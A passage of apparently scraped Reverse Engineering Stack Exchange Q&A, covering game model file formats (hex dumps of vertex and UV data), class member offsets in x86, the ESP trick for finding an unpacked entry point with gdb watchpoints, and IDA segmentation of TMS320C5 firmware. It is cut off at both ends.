03 00 7B 7B 7D AD BE AD 08 00 00 00 09 00 00 00 0A 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7B 7D 7D BE BE AD 09 00 00 00 0B 00 00 00 0A 00 00 00 00 00 00 00\nFF FF 00 00 03 00 09 09 02 AC 9E AC 0C 00 00 00 0D 00 00 00 0E 00 00 00 00 00 00 00\nFF FF 00 00 03 00 09 00 02 9E 9E AC 0D 00 00 00 0F 00 00 00 0E 00 00 00 00 00 00 00\nFF FF 00 00 00 00 A0 A7 A0 1D 1D 00 10 00 00 00 11 00 00 00 12 00 00 00 00 00 00 00\nFF FF 00 00 00 00 A7 A7 A0 1D 00 00 11 00 00 00 13 00 00 00 12 00 00 00 00 00 00 00\nFF FF 00 00 03 00 45 45 67 3F 48 3F 14 00 00 00 15 00 00 00 01 00 00 00 00 00 00 00\nFF FF 00 00 03 00 44 44 46 5B 5B 48 16 00 00 00 17 00 00 00 18 00 00 00 00 00 00 00\nFF FF 00 00 03 00 44 47 46 5B 49 48 17 00 00 00 19 00 00 00 18 00 00 00 00 00 00 00\nFF FF 00 00 00 00 92 97 98 1D 1D 1A 1A 00 00 00 17 00 00 00 16 00 00 00 00 00 00 00\nFF FF 00 00 03 00 00 19 19 7B 7E 60 1B 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 46 44 29 47 5B 4A 19 00 00 00 17 00 00 00 1D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 44 2B 29 5B 5C 4A 17 00 00 00 1A 00 00 00 1D 00 00 00 00 00 00 00\nFF FF 00 00 00 00 98 97 92 03 00 00 1E 00 00 00 1F 00 00 00 20 00 00 00 00 00 00 00\nFF FF 00 00 03 00 3E 3E 2D BE BB BE 14 00 00 00 1B 00 00 00 21 00 00 00 00 00 00 00\nFF FF 00 00 03 00 3E 2D 2D BB BC BE 1B 00 00 00 22 00 00 00 21 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 2D 1C 90 81 90 23 00 00 00 24 00 00 00 25 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 1C 1C 81 81 90 24 00 00 00 26 00 00 00 25 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 2D 18 BE BC BE 21 00 00 00 22 00 00 00 27 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 18 18 BC BB BE 22 00 00 00 28 00 00 00 27 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 1C 09 90 81 90 25 00 00 00 26 00 00 00 29 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 12 09 81 82 90 26 00 00 00 2A 00 00 00 29 00 00 00 00 00 00 00\nFF FF 00 00 00 00 92 92 91 07 00 00 2B 00 00 00 20 00 00 00 2C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 18 18 11 BD BB BD 27 00 00 00 28 00 00 00 2D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 18 11 11 BB BB BD 28 00 00 00 2E 00 00 00 2D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 03 0B 0C 86 8E 7F 2F 00 00 00 29 00 00 00 30 00 00 00 00 00 00 00\nFF FF 00 00 03 00 0B 13 0C 8E 81 7F 29 00 00 00 2A 00 00 00 30 00 00 00 00 00 00 00\nFF FF 00 00 03 00 0D 0C 00 4D 57 57 31 00 00 00 32 00 00 00 33 00 00 00 00 00 00 00\nFF FF 00 00 00 00 83 81 87 03 07 01 34 00 00 00 35 00 00 00 36 00 00 00 00 00 00 00\nFF FF 00 00 00 00 81 87 87 07 07 01 35 00 00 00 37 00 00 00 36 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5D 5E 3F BD AD BD 38 00 00 00 39 00 00 00 03 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5E 3F 3F AD AD BD 39 00 00 00 02 00 00 00 03 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7C 5E 7C AD AD BD 3A 00 00 00 39 00 00 00 3B 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5E 5D 7C AD BD BD 39 00 00 00 38 00 00 00 3B 00 00 00 00 00 00 00\nFF FF 00 00 00 00 AA AA AB 16 1D 1E 3C 00 00 00 3D 00 00 00 3E 00 00 00 00 00 00 00\nFF FF 00 00 00 00 BC BA B5 06 01 08 3F 00 00 00 40 00 00 00 41 00 00 00 00 00 00 00\nFF FF 00 00 00 00 BA B5 B5 01 00 08 40 00 00 00 42 00 00 00 41 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5D 5D 43 0C 1B 0C 43 00 00 00 44 00 00 00 45 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5D 48 43 1B 1B 0C 44 00 00 00 46 00 00 00 45 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7B 59 7B BF BF C9 3B 00 00 00 05 00 00 00 3A 00 00 00 00 00 00 00\nFF FF 00 00 03 00 59 5A 7B BF C9 C9 05 00 00 00 47 00 00 00 3A 00 00 00 00 00 00 00\nFF FF 00 00 03 00 00 00 1C DC F7 CB 48 00 00 00 40 00 00 00 07 00 00 00 00 00 00 00\nFF FF 00 00 03 00 00 1C 1C F7 F3 CB 40 00 00 00 3F 00 00 00 07 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5F 3F 1C F2 EB F2 49 00 00 00 4A 00 00 00 3F 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7D 7D 60 DC C3 CE 43 00 00 00 4B 00 00 00 4C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7D 5F 60 C3 BE CE 4B 00 00 00 4D 00 00 00 4C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 04 0C 0B B7 BE AF 4E 00 00 00 2D 00 00 00 0C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 0C 13 0B BE BC AF 2D 00 00 00 2E 00 00 00 0C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7D 62 73 00 00 13 2F 00 00 00 33 00 00 00 4F 00 00 00 00 00 00 00\nFF FF 00 00 03 00 62 5F 73 00 13 13 33 00 00 00 50 00 00 00 4F 00 00 00 00 00 00 00\nFF FF 00 00 03 00 73 5E 73 1F 1F 2B 0F 00 00 00 51 00 00 00 0E 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5E 5F 73 1F 2B 2B 51 00 00 00 35 00 00 00 0E 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5E 5D 3F AD BD AD 52 00 00 00 53 00 00 00 08 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5D 3F 3F BD BD AD 53 00 00 00 09 00 00 00 08 00 00 00 00 00 00 00\nFF FF 00 00 00 00 A7 AA AA 1D 1D 16 11 00 00 00 3D 00 00 00 3C 00 00 00 00 00 00 00\nFF FF 00 00 00 00 B5 B5 B4 08 00 00 41 00 00 00 42 00 00 00 54 00 00 00 00 00 00 00\nFF FF 00 00 03 00 43 48 5D 0C 1B 0C 54 00 00 00 42 00 00 00 48 00 00 00 00 00 00 00\nFF FF 00 00 03 00 48 5D 5D 1B 1B 0C 42 00 00 00 40 00 00 00 48 00 00 00 00 00 00 00\nFF FF 00 00 03 00 7C 5D 7C BD BD AD 4B 00 00 00 53 00 00 00 55 00 00 00 00 00 00 00\nFF FF 00 00 03 00 5D 5E 7C BD AD AD 53 00 00 00 52 00 00 00 55 00 00 00 00 00 00 00\nFF FF 00 00 03 00 19 18 2D 7F 82 7F 56 00 00 00 26 00 00 00 57 00 00 00 00 00 00 00\nFF FF 00 00 03 00 18 2D 2D 82 82 7F 26 00 00 00 24 00 00 00 57 00 00 00 00 00 00 00\nFF FF 00 00 03 00 10 12 19 7F 82 7F 30 00 00 00 2A 00 00 00 56 00 00 00 00 00 00 00\nFF FF 00 00 03 00 12 18 19 82 82 7F 2A 00 00 00 26 00 00 00 56 00 00 00 00 00 00 00\nFF FF 00 00 00 00 87 87 87 16 1C 1C 58 00 00 00 32 00 00 00 31 00 00 00 00 00 00 00\nFF FF 00 00 03 00 06 07 1E 32 0B 3B 59 00 00 00 5A 00 00 00 5B 00 00 00 00 00 00 00\nFF FF 00 00 03 00 07 1E 1E 0B 04 3B 5A 00 00 00 1C 00 00 00 5B 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 1C 2D AC BB AC 5C 00 00 00 28 00 00 00 5D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 2D 2D BB BC AC 28 00 00 00 22 00 00 00 5D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 09 12 1C AC BB AC 0C 00 00 00 2E 00 00 00 5C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 12 1C 1C BB BB AC 2E 00 00 00 28 00 00 00 5C 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 1C 09 9E 90 9E 5E 00 00 00 25 00 00 00 0D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 1C 09 09 90 90 9E 25 00 00 00 29 00 00 00 0D 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 2D 1C 9E 90 9E 5F 00 00 00 23 00 00 00 5E 00 00 00 00 00 00 00\nFF FF 00 00 03 00 2D 1C 1C 90 90 9E 23 00 00 00 25 00 00 00 5E 00 00 00 00 00 00 00\nFF FF 00 00 03 00 3D 2D 2D 90 90 9E 59 00 00 00 23 00 00 00 5F 00 00 00 00 00 00 00\n</code></pre>\n\n<p>I can post the full file structure if this is required. Thanks in advance!</p>\n\n<p><strong>Edit:</strong></p>\n\n<pre><code>Vertex3D\n{\n    float x, y, z\n}\nVector3D\n{\n    float x, y, z\n}\n</code></pre>\n\n<hr>\n\n<pre><code>Vertex\n{\n    Vertex3D    vertex\n    Vector3D    normal  // Sum = 1.0\n    ulong       unknown\n    ubyte[12]   padding = 0\n}\nTriangle\n{\n    ulong       beg = 0xffff0000\n    ushort      texture     // 0 = car bottom, 3 = body\n    ubyte[6]    unknown     // UV mapping???\n    ulong[3]    vertices    // Indices\n    ulong       end = 0x00000000\n}\n</code></pre>\n\n<hr>\n\n<pre><code>Model3D\n{\n    char[8]     identifier = \"PCMODL01\"\n    ulong       unknown = 0x00000000\n    ulong       offset1 = 44    // Vertices start offset\n    ulong       offset2         // Polygons start offset\n\n    ubyte[16]   stuff\n\n    ulong                   n_polygons\n    ulong                   n_vertices\n    Vertex[n_vertices]      vertices\n    Triangle[n_polygons]    polygons\n}\n</code></pre>\n\n<hr>\n\n<pre><code>Main\n{\n    // Header\n    ulong   n_blocks = 7\n\n    ulong   offset1 = 60\n    ulong   length1     // Model\n\n    ulong   offset2\n    ulong   length2     // Dash lo res (320x80) RGB565\n\n    ulong   offset3\n    ulong   length3     // Dash hi res (640x160) RGB565\n\n    ulong   offset4\n    ulong   length4     // Steering wheel (256x256) RGB565\n\n    ulong   offset5\n    ulong   length5     // Car textures (128x256) RGB565\n\n    ulong   offset6\n    ulong   length6     // Tuning\n\n    ulong   offset7\n    ulong   length7     // Menu picture (400x400) Indexed color\n\n    // offset1 onwards\n    Model3D         model\n\n    // offset2 onwards\n    blob[25600]     dash_lo\n\n    // offset3 onwards\n    blob[102400]    dash_hi\n\n    // offset4 onwards\n    blob[65536]     steer_whl\n\n    // offset5 onwards\n    blob[32768]     textures\n\n    // offset6 onwards\n    blob[300]       tuning\n\n    // offset7 onwards\n    ubyte[12]       unknown1\n    ubyte           menu_position\n    char[3]         basename        // CAM, JAG, VET, etc.\n    ulong           padding = 0x00000000\n    ulong           unknown2\n    blob[160000][5] menu_screens    // 5 images, one per language\n}\n</code></pre>\n",
        "Title": "How to read these UV coordinates?",
        "Tags": "|binary-analysis|",
        "Answer": "<p>Problem is solved!</p>\n\n<p>I found that the <code>unknown</code> values are actually coordinates in <em>pixels</em> on the texture map (positive integers). The car textures are 128 x 256 in size, so by dividing each U or V coordinate by the maximum value in that direction, we have the right float conversion:</p>\n\n<pre><code>vertex1.u = unknown[0] / 127.f;\nvertex2.u = unknown[1] / 127.f;\nvertex3.u = unknown[2] / 127.f;\n\nvertex1.v = -unknown[3] / 255.f;\nvertex2.v = -unknown[4] / 255.f;\nvertex3.v = -unknown[5] / 255.f;\n</code></pre>\n\n<p>Besides, there were bugs in my converter that prevented this from working...</p>\n"
    },
    {
        "Id": "11457",
        "CreationDate": "2015-12-04T17:06:30.343",
        "Body": "<p>I have a simple C++ program compiled with  Visual Studio 2005. I know that this program has a class <code>base</code> with a member variable <code>x</code>.</p>\n\n<p>How can I identify the variable x when looking at the x86? Here is <a href=\"http://pastebin.com/GRuJWSm6\" rel=\"nofollow\">a function of this binary</a>.</p>\n",
        "Title": "How can i get offset of class member manualy(without source of )",
        "Tags": "|assembly|c++|",
        "Answer": "<p>For Visual Studio, <strong>ecx</strong> usually points to the current <em>this</em> object. As you can see, it's placed in <strong>esi</strong> at the start of your program.</p>\n<blockquote>\n<p>.text:1090B641                 mov     esi, ecx</p>\n</blockquote>\n<p><strong>esi</strong> is not modified elsewhere, and is always used to access variables with offsets. That should indicate to you that it's the address of a struct, and each offset points to a given variable.</p>\n<blockquote>\n<p>.text:1090B651                 mov     dword ptr <strong>[esi]</strong>, offset off_10959BE4</p>\n<p>.text:1090B660                 mov     <strong>[esi+1Ch]</strong>, eax</p>\n<p>.text:1090B663                 mov     <strong>[esi+10h]</strong>, eax</p>\n<p>.text:1090B666                 mov     <strong>[esi+3Ch]</strong>, ebx</p>\n<p>.text:1090B669                 mov     <strong>[esi+38h]</strong>, ebx</p>\n<p>.text:1090B66C                 mov     <strong>[esi+40h]</strong>, ebx</p>\n<p>.text:1090B66F                 mov     byte ptr <strong>[esi+44h]</strong>, 0ACh</p>\n</blockquote>\n<p>You'll have to find the purpose of each of those variables by looking at their size and how they are used in your program. In order to help you with that, you can define a new struct in Ida by going in the <strong>Structs</strong> tab (Shift+F9), and defining a new struct with variables corresponding to those offsets. You can then map them with <strong>T</strong> to help you following them.</p>\n<p>See for instance <a href=\"http://resources.infosecinstitute.com/reverse-engineering-structures/\" rel=\"nofollow noreferrer\">this blog post</a>.</p>\n"
    },
    {
        "Id": "11469",
        "CreationDate": "2015-12-07T13:31:30.677",
        "Body": "<p>I am new in this area.</p>\n\n<p><strong>Scenerio:</strong>\nI am given two files and told one is ASCII and another is binary format of that ASCII file. I opened ASCII file and saw like-</p>\n\n<pre><code>0\n76\n1.040000\n1\n1\n1.000000\n514039\n5058933\n514808\n5059861\n2 ********* TIMESTEP\n0.750000\n3\n1\n328882\n1\n514712.000000\n5059091.500000\n514714.062500\n5059088.500000\n3.826391\n2.000000\n13.882331\n0.000000\n2 ********* TIMESTEP\n1.500000\n..........................................\n</code></pre>\n\n<p>And open corresponding binary file (hex)</p>\n\n<pre><code>00 4C B8 1E 85 3F 01 01 00 00 80 3F F7 D7 07 00 75 31 4D 00 F8 DA 07 00 15 35 4D 00 02 00 00 40 3F 03 01 00 00 00 B2 04 05 00 01 00 53 FB 48 27 64 9A 4A 42 53 FB 48 21 64 9A 4A 98 E3 74 40 00 00 00 40 07 1E 5E 41 00 00 00 00 02 00 00 C0 3F 03 01 00 00 00 B2 04 05 00 01 4C 52 FB 48 39 64 9A 4A 8E 52 FB 48 33 64 9A 4A 98 E3 74 40 00 00 00 40 07 1E 5E 41 00 00 00 00 03 02 00 00 00 D2 05 05 00 01 2D 2D FB 48 06 63 9A 4A E2 2C FB 48 FF 62 9A 4A 73 6F 82 40 00 00 00 40 7D 1A 6D 41 00 00 00 00 03 04 00 00 00 BE 04 05 00 01 57 00 FB 48 49 67 9A 4A DE FF FA 48 4D 67 9A 4A 21 D2 86 40 00 00 00 40 0F A4 8C 41 00 00 00 00 02 00 00 10 40 03 01 00 00 00 52 1D 05 00 01 9A 51 FB 48 4A 64 9A 4A DC 51 FB 48 44 64 9A 4A 98 E3 74 40 00 00 00 40 0B 84 5B 41 AB FE 5D BE 03 02 00 00 00 D2 05 05 00 01 FB 2D FB 48 18 63 9A 4A AF 2D FB 48 11 63 9A 4A 73 6F 82 40 00 00 00 40 7D 1A 6D 41 00 00 00 00 03 04 00 00 00 BE 04 05 00 01 D1 01 FB 48 3D 67 9A 4A 58 01 FB 48 41 67 9A 4A 21 D2 86 40 00 00 00 40 0F A4 8C 41 00 00 00 00 03 05 00 00 00 B2 04 05 00 01 06 53 FB 48 27 64 9A 4A 4B 53 FB 48 20 64 9A 4A D5 06 7E 40 00 00 00 40 07 1E 5E 41 00 00 00 00 02 00 00 40 40\n.....................................................\n</code></pre>\n\n<p><strong>Problem-</strong></p>\n\n<p>Is there any way to find how this binary file is crated from that ascii?</p>\n\n<p>I know all of ASCII file what reading means what from a pdf file that tells all about ASCII file.</p>\n\n<p>N.B. I truncated and posted from the larges file as i wish - i mean the trucated portion of ascii and that of binary posted here may not intersect/exact replica. I just copied portion and posted here.</p>\n\n<p><a href=\"https://www.dropbox.com/s/y3kz1b3hds3mkr7/Mariano_Gigante%20%28ASCII%29.trj?dl=0\" rel=\"nofollow\">ASCII file link</a></p>\n\n<p><a href=\"https://www.dropbox.com/s/cx98wkp4b019190/Mariano_Gigante%20%28Binary%29.trj?dl=0\" rel=\"nofollow\">Binary file link</a></p>\n\n<p>Thanks</p>\n",
        "Title": "How to get transformation formula comparing two files",
        "Tags": "|encodings|",
        "Answer": "<p>hxd alpha version ( search the author's forum ) has a data inspector panel which you can manipulate to understand the format of unknown binary sequences by trial a snap shot of float value 1.04 below \n<a href=\"https://i.stack.imgur.com/4VW1X.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4VW1X.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "11490",
        "CreationDate": "2015-12-09T15:49:07.913",
        "Body": "<p>I recently heard about the esp trick: some packers push all registers on the stack, and when unpacking is done, they are restored. Placing a hardware breakpoint on esp we can stop there and get the original entry point.</p>\n\n<p>Why is it necessary to use a hardware breakpoint? <a href=\"http://yangseo.tistory.com/52\" rel=\"nofollow\">This site</a> argues that because software breakpoints modify the code. But why is that a problem here?</p>\n\n<p>Every example I met uses Ollydbg. How can I set such a breakpoint in gdb?</p>\n",
        "Title": "Unpacking and the ESP trick",
        "Tags": "|gdb|unpacking|",
        "Answer": "<blockquote>\n  <p>Placing a hardware breakpoint on esp we can stop there and get the\n  original entry point.</p>\n  \n  <p>Why is it necessary to use a hardware breakpoint?</p>\n</blockquote>\n\n<p>The value of <code>ESP</code> is an address on the stack. The data at that memory address may get read or written, but won't get executed\u00b9 since it's not code. Software breakpoints are only useful on code that gets executed, and since the data at that memory address won't get executed, a software breakpoint won't be helpful.</p>\n\n<p><em>\u00b9 There are exceptions to this, but it's out of context for your question.</em></p>\n\n<blockquote>\n  <p>How can I set such a breakpoint in gdb?</p>\n</blockquote>\n\n<p>In gdb, you can set a hardware breakpoint on the memory address pointed to by <code>ESP</code> by setting a <strong>watchpoint</strong>, which is documented <a href=\"https://sourceware.org/gdb/onlinedocs/gdb/Set-Watchpoints.html\" rel=\"noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "11491",
        "CreationDate": "2015-12-09T16:12:58.623",
        "Body": "<p>I am currently working on reversing a firmware file for the older TMS320C5 16-bit microprocessor. I'm using IDA pro to do so and I need to manually create segments for each object contained in the file. I'm asking for a step-by-step procedure to do so. Below is more information on why/what.</p>\n\n<p>The TMS320C5, like many other processors, access an internal cache, called the \"Fast Memory\" which is a single 64K page. It loads this memory from the contents of an outside, bigger and slower memory.</p>\n\n<p>The firmware file contains a memory image, which is written directly to the slow memory of the device. It operates using a multi-tasking RTOS. Each tasks/process is stored at different locations in the binary file and do not appear to be in any particular order. From my understanding, each task within the file is preceded by 4 words, one of them indicating the base address where the current task will be loaded in fast memory. In some cases, 2 or 3 tasks can be loaded at the same base address in fast memory.</p>\n\n<p>It seems that each branch/call instruction within a task uses a direct address within the current page (see figure 3). So they are not relative to the PC (Program Counter) or the contents of some other register. </p>\n\n<p>Of course, I'd now like that branching and calling instructions be aligned with the proper functions and sections within their segment. While I do not have a strong grasp on segmentation in IDA, I read some other thread such as <a href=\"https://reverseengineering.stackexchange.com/questions/10957/how-to-deal-with-code-that-change-its-address-among-different-execution/10958#10958\">How to deal with code that change its address among different execution</a>, <a href=\"https://reverseengineering.stackexchange.com/questions/6907/ida-segmentation-problem/6924#6924\">IDA segmentation problem</a> and <a href=\"https://reverseengineering.stackexchange.com/questions/6067/segments-in-ida-how-to-overcome-noname-problem\">Segments in IDA. How to overcome NONAME problem</a>, but none offer a complete solution to what I need, as I do not believe CS/DS and other Intel segments apply here. I could not find any really useful in the IDA PRO book either.</p>\n\n<p>So far, it seems I have accomplish 50% of what I need by doing the following:</p>\n\n<ol>\n<li>Creating a new selector using the Selector subview: <strong>View > Open Subviews > Selectors</strong>.</li>\n<li>Right-click in the subview, select <strong>Add Selector</strong>.</li>\n<li>Created some examples as per figure 1 below.</li>\n<li>Using the command-line and <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/312.shtml\" rel=\"nofollow noreferrer\">SetSegmentAttr</a> function, I've change the selector of one of the segment: <strong>SetSegmentAttr(ScreenEA(), SEGATTR_SEL, 1)</strong></li>\n</ol>\n\n<p>As an example, there is a task within the firmware which starts at linear address <em>0xCAEFD</em>. This tasks is loaded at <em>0x2C00</em> in fast memory. As such, I'd like to create a segment containing this task and for which the base address is 0x2C00. While I changed the segment of the block using the procedure above, the offset starts at <em>0x9EF02</em> (see figure 2). I expected it to starts at <em>0x0</em>.</p>\n\n<p>Figure 1: \n<a href=\"https://i.stack.imgur.com/kONJt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kONJt.png\" alt=\"Figure 1: Creating a new selector\"></a></p>\n\n<p>Figure 2:\n<a href=\"https://i.stack.imgur.com/CnxyF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CnxyF.png\" alt=\"Figure 2: Resulting addresses of the segment\"></a></p>\n\n<p>I suspect I somewhat need to change the offset somehow. I'm aware of the <strong>Move Segment</strong> option, but it seems it \"physically\" change the segment to the address, which I do not want since some tasks share the same base address in fast memory (or are close to each other and will overwrite another task). What are the steps I need to complete in order to isolate each task into its own segment so that branches and calls align? For example, in figure 3, I would like IDA to link the <code>BCND 2C1Dh, geq</code> to the corresponding <em>0x2C1D</em> location within the segment, rather than the corresponding linear address.</p>\n\n<p>Figure 3:\n<a href=\"https://i.stack.imgur.com/Xo9lv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Xo9lv.png\" alt=\"Example of a branching instruction within the task\"></a></p>\n\n<p>Thanks for any help</p>\n",
        "Title": "Manual Segmentation of Objects in non-Intel Firmware",
        "Tags": "|ida|disassembly|firmware|segmentation|",
        "Answer": "<p>Not an answer, really, but too long for a comment; also, i know the x86 architecture well, but have no idea about the TMS320C5, so please take this with a grain of salt.</p>\n\n<p>I'm afraid that what you're trying to do doesn't match well with how IDA segmentation works, which basically stems from the 80x86 way of doing things. Which means that segment registers contain the upper 16 bit of the 20 bit address, offsets contain the lower 16 bit; and to calculate the physical address, you'd do <code>segment&lt;&lt;4 | offset</code>.</p>\n\n<p>That means that an address like, say, <code>1234:0020</code> is equivalent to <code>1236:0000</code> - both map to the physical address of <code>12360</code>. Now if your binary gets loaded at segment <code>1234</code> - physical address <code>12340</code> - there is no \"intrinsic\" way of telling what the offset of <code>12360</code> is; it could be <code>0020</code> within the <code>1234</code> segment, or <code>0000</code> in the <code>1236</code> segment. IDA segmentation will just tell the disassembler that a new segment starts at the <code>12360</code> physical address, so if the <code>ds</code> register is set to that segment, then <code>ds:0</code> accesses the variable that<code>s defined at that</code>12360` address.</p>\n\n<p>This is different to your processor insofar that code will never be swapped in or out, code regions never overlap in <em>physical</em> memory, and offsets within segments always start at <code>0000</code>. Even if, in pathological cases, the metainfo .EXE file states to load a segment to offset <code>0200</code>, the loader will generate a new segment, fill the first 0x200 bytes with <code>00</code>, and load the contents from the .EXE file behind this zero'd out block.</p>\n\n<p>What IDA can't do - as far as i know - is something like \"make <code>0000-CAEFD</code> one segment; then start another segment at <code>C82FD</code> in which the address <code>CAEFD</code> has an offset of <code>2C00</code>, because that would make the meaning of the file part between <code>C82FD</code> and <code>CAEFD</code> ambigous, you wouldn't know which segment it belongs to.</p>\n\n<p>In your case, when you said the base address should be <code>2C00</code>, you told IDA that address <code>2C00</code> in the file should equal address <code>0000</code> in the segment. This is why it was showing offset <code>9EF02</code>; if <code>2C00</code> (file position) corresponds to <code>0000</code> (segment start), then <code>CAEFD-2C00=9EF02</code> (file position) corresponds to <code>9EF02</code> (position within segment). Try using <code>9EF02</code> as segment start; the byte at <code>CAEFD</code> is <code>2C00</code> bytes into that segment so it has an offset of <code>2C00</code>.</p>\n\n<p>If that doesn't work for you, i'd do the following:</p>\n\n<ul>\n<li>If the size of my original firmware isn't a multiple of 64K, append <code>\\0</code> bytes until it is.</li>\n<li>When i identify a task and the offset it should be executed at, append as many <code>0</code> bytes as are needed to reach the start address of that task, copy the task itself, and append more <code>\\0</code> bytes to reach a multiple of 64K again.</li>\n</ul>\n\n<p>Doing this, you'll get a file that has one big block that contains the original firmware, and multiple 64-KB-blocks that contain just one task and a bunch of zeroes each.</p>\n\n<p>Now, when you load that file, define one segment for the first big block, and one segment for each of the appended 64 KB chunks. That way, you can have one segment per task; segments are easy to define since each of them starts at a multiple of <code>10000</code> and all but the first are exactly <code>10000</code> bytes in size, and you have a 1:1 relation between <code>file byte</code> and <code>memory byte</code> which should make IDA happy.</p>\n"
    },
    {
        "Id": "11495",
        "CreationDate": "2015-12-09T20:11:24.230",
        "Body": "<p>As a personal project I've been trying to reverse engineer the art assets for the old Dynamix game Earthsiege 2 (this game has long been abandonware and was recently released for free by Hi-Rez, the current copyright holder). It was child's play to decode the images/textures, but I've been having trouble with the binary 3D model format.</p>\n\n<p>As some background, the 3D models are saved as DTS files. DTS is a proprietary binary format (little-Endian), short for \"Dynamix Three-Space\". I wasn't able to find any resources on reversing ES2-era DTS files.</p>\n\n<p>For this post I'll focus on the Apocalypse. </p>\n\n<p><a href=\"https://i.stack.imgur.com/6Kv1A.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/6Kv1A.png\" alt=\"The Apocalypse in-game; take note there are discrete parts rather than a single mesh\"></a></p>\n\n<p>The Apocalypse model is stored in <code>Apoca.dts</code> . The file starts out like this (in hex, with annotations):</p>\n\n<pre><code>  | File size |     ?     |ChunkMarker|Chunk Length\n02|7C 7F 01 00|4B 1F 3D 7F|03 00 1E 00|FC 5F 00 \n00|FF FF 00 00 0E 08 BF FF CC FF 23 04 01 00 15 \n00 14 00 70 46 00 00 FF FF 00 00 B7 06 BF FF CC \nFF 23 04 1B 00 14 00 14 00 4A 01 00 00 01 00 0C \n00 AB 01 FB FF 22 00 7B 05 18 00 0F 00 10 00 06  &lt;-Faces\n00 02 00 03 00 04 00 05 00 02 00 05 00 07 00 08 \n00 0A 00 0B 00 04 00 03 00 03 00 02 00 08 00 0A \n00 0B 00 07 00 05 00 04 00 0A 00 08 00 07 00 0B \n00 00 00 1D 00 FF 07 00 00 00 00 00 00 24 FF 72  &lt;-Some vertices here\n01 82 05 DC 00 72 01 82 05 DC 00 C0 FE 8C 05 24  &lt;-\nFF C0 FE 8C 05 00 F8 00 00 00 00 24 FF E8 FE 00  &lt;-\n05 24 FF 04 01 60 04 00 08 00 00 00 00 DC 00 04  &lt;-\n01 60 04 DC 00 E8 FE 00 05 00 00 7A 07 2A FD 00  &lt;-\n00 4F F8 CE FD 00 00 BB FD 55 F8 02 00 00 04 02 \n00 00 04 00 00 00 14 00 00 00 14 00 00 00 00 FF \nFF FF FF FF FF FF FF FF FF FF FF 1B 00 00 00 FF \nFF FF FF FF FF FF FF FF FF FF FF 19 00 00 00 FF \nFF FF FF FF FF FF FF FF FF FF FF 03 00 14 00 0A \n00 00 00 00 00 02 00 04 00 00 00 00 00 03 00 14\n</code></pre>\n\n<p>For formatted/color-coded analysis, see <a href=\"http://postimg.org/image/8e56re90n/\" rel=\"noreferrer\">http://postimg.org/image/8e56re90n/</a></p>\n\n<p>To see the first 3 chunks of the file in their entirety, see <a href=\"http://pastebin.com/RTFkdiBd\" rel=\"noreferrer\">http://pastebin.com/RTFkdiBd</a></p>\n\n<h2>Current knowledge</h2>\n\n<p>Each DTS file is broken into chunks. The 10th - 13th bytes are a start-of-chunk marker; I think this is <code>03 00 1E 00</code> in each file. The next four bytes are the size of the chunk, always followed by FF 00. A new chunk will begin immediately after the previous ends. I don't know how the chunks divvy up data right now, but it does appear that multiple chunks contain vertices. This may be related to the fact that the model is noticeably divided into discrete parts, rather than a single mesh.</p>\n\n<p>Each vertex is a set of 6 bytes, consisting of 3 <em>signed</em> shorts for the X, Y, and Z coordinates of that vertex. The first vertex in this file is 24 FF 62 01 82 05, which has coordinates -220, 354, 1401 when converted to decimal. The sample I've provided contains the following vertices:</p>\n\n<pre><code>24 FF 72 01 82 05 \nDC 00 72 01 82 05 \nDC 00 C0 FE 8C 05 \n24 FF C0 FE 8C 05\n24 FF E8 FE 00 05\n24 FF 04 01 60 04\nDC 00 04 01 60 04 \nDC 00 E8 FE 00 05\n</code></pre>\n\n<p>These vertices define the crotch. Interestingly, the crotch is actually located above the head in 3D space as defined in the file, so it must get translated somewhere. I have tested and verified that the above bytes contain the crotch by editing them in RAM while the game is running, which distorts the model immediately when I click back into the game window. </p>\n\n<p>Notice that between some of these vertices are two sets of six bytes that do not appear to be vertices (they don't correspond to any point on the model and have no effect when altered in RAM). I don't know what the deal with these is:</p>\n\n<pre><code>00 F8 00 00 00 00\n00 08 00 00 00 00\n</code></pre>\n\n<p>The rest of the model is defined in pieces throughout the file. Vertices are clustered into small groups, which I think define one shape at a time. I can find vertices for everything but the weapons and legs. The legs are animated, so they might be defined differently, or located in a different file. The weapons are defined in a separate 